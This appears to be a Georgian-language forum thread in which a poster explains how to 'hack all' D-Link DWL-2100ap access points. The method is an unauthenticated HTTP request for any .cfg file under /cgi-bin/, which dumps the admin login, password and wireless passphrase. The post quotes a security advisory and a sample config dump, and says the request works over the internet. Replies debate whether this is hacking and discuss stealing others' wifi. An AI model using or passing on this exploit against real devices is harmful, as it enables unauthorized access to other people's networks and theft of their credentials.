D-Link Access-Point, აბა ვტეხავ ყველა :D პარამეტრები

[Classical]

მოკლედ ვწერთ მისამართს თუ შიდა ქსელში ვართ 192.168.1.1 ან რა Ip range ც არის და როგორცაა მოკლედ და შემდეგ ვწერთ cgi-bin/Intruders.cfg (მაგალითად 192.168.1.1/cgi-bin/Intruders.cfg) ამას ხოდა გვიგდებს cfg ს რომელსაც გავხსნით cmd ში შემდეგნაირად სადაც შვინახეთ cfg მაგალითად cd desktop hit enter და edit Intruders.cfg შიგნით დაგვხვდება პაროლი და იუზერი. გლობალურზეც მუშაობს ანუ შიდა ქსელიდან მოთხოვნის გაგზავნა არ არის აუცილებელი.

პროგრამული კოდი

# ADVISORY/0206 - D-Link Wireless Access-Point (DWL-2100ap)
# INTRUDERS TIGER TEAM SECURITY - SECURITY ADVISORY
# http://www.intruders.com.br/ , http://www.intruders.org.br/

Making a HTTP request to the /cgi-bin/ directory, the Web server will return error 404 (Page not found).
Making a HTTP request to the /cgi-bin/AnyFile.htm, the Web server will return error 404 (Page not found).
However, making a HTTP request to any file in /cgi-bin/ directory, with .cfg extension, will return all the device configuration.

For example, making the following request:

http://dlink-DWL-2100ap/cgi-bin/Intruders.cfg

cfg ში დაგვხვდება ესეთი რაღაცა

პროგრამული კოდი

# Copyright © 2002 Atheros Communications, Inc., All Rights Reserved
# DO NOT EDIT -- This configuration file is automatically generated
magic Ar52xxAP
fwc: 34
login admin
DHCPServer
Eth_Acl
nameaddr
domainsuffix
IP_Addr 10.0.0.30
IP_Mask 255.0.0.0
Gateway_Addr 10.0.0.1
RADIUSaddr
RADIUSport 1812
RADIUSsecret
password ნუ რაც არის პაროლი ის იქნება აქ
passphrase
wlan1 passphrase AnewBadPassPhrase
# Several lines removed.

Happy Hacking

პოსტის უკანასკნელი ჩამსწორებელია Classical: Aug 1 2009, 09:41 PM

[otosaxel]

shadow-land

ჯერ ერთი უმრავლეს როუტერებს ერთი და იგივე პაროლი ადევს ყველას თუ მომხმარებელმა არ მოითხოვა მისი შეცვლა და მეორეც როუტერის დაკონფიგებას გატეხვა არ ქვია............ მესამეც ვაილესის პაროლი როუტერს აქ დამახსოვრებული მაგრამ მაგის გასაგებად
ამ როუტერის პატრონს უნდა ეწვიოთ და როგომე როუტერში უნდა შეხვიდეთ და მეოთხეც თუ შენ თვითონ გაქ ინტერნეტი სხვისი ინტერნეტის მოპარვას რა აზრი აქ...

1) ვინ ამბობს რომ კონფიგურებას გატეხვა ქვია (IMG:style_emoticons/default/smile.gif)
2) მერე რას ქვია მომხმარებელმა მოითხოვა? უბრალოდ როუტერში უნდა შეისეირნო და შეცვალო.
3) მერე თუ როუტერის ხვრელს იპოვნი, სულ არ გინდა როუტერის გახსნა, იმიტომ რომ ეგ ფაილი 60%-ში ცალკე პარტიპციაზე ინახება. 20% ჩმოსში, რაც იდეაში ცალკე პარტიპციათ უნდა გამოჩდეს. თუ დეტალურად გაინტერესებს ამაზე, შეგილია ამავე ფორუმზე ნახო ჩემი აღმოჩენილი ხვრელი ერთ ძალიან ცნობილ როუტერზე (IMG:style_emoticons/default/smile.gif)

P.S ეს ჩემი აზრია და თუ უფრო დაწვრილებით ამიხსნის ვინმე ლოკალურ ქსელში მყოფი ათასობით როუტერიდან იმ თქვენთვის სასურველ როუტერში როგორ მოხვდებით და მისი ვაილესის პაროლს გაიგებთ მადლობელი დაგრჩებით. თან შიდა ქსელში ყველას ერთი და იგივე აიპი აქ ხოლო გარე ქსელში სხვადასხვა......

აუფ ეს ისე სფეციფიკურია (IMG:style_emoticons/default/smile.gif) , მე ერთს გირჩევ მთავარზე არის ესეთი სტატია "ყველაფერი პორტებზე და გადამისამართებებზე" და ეგ წქაიკითხე (IMG:style_emoticons/default/smile.gif)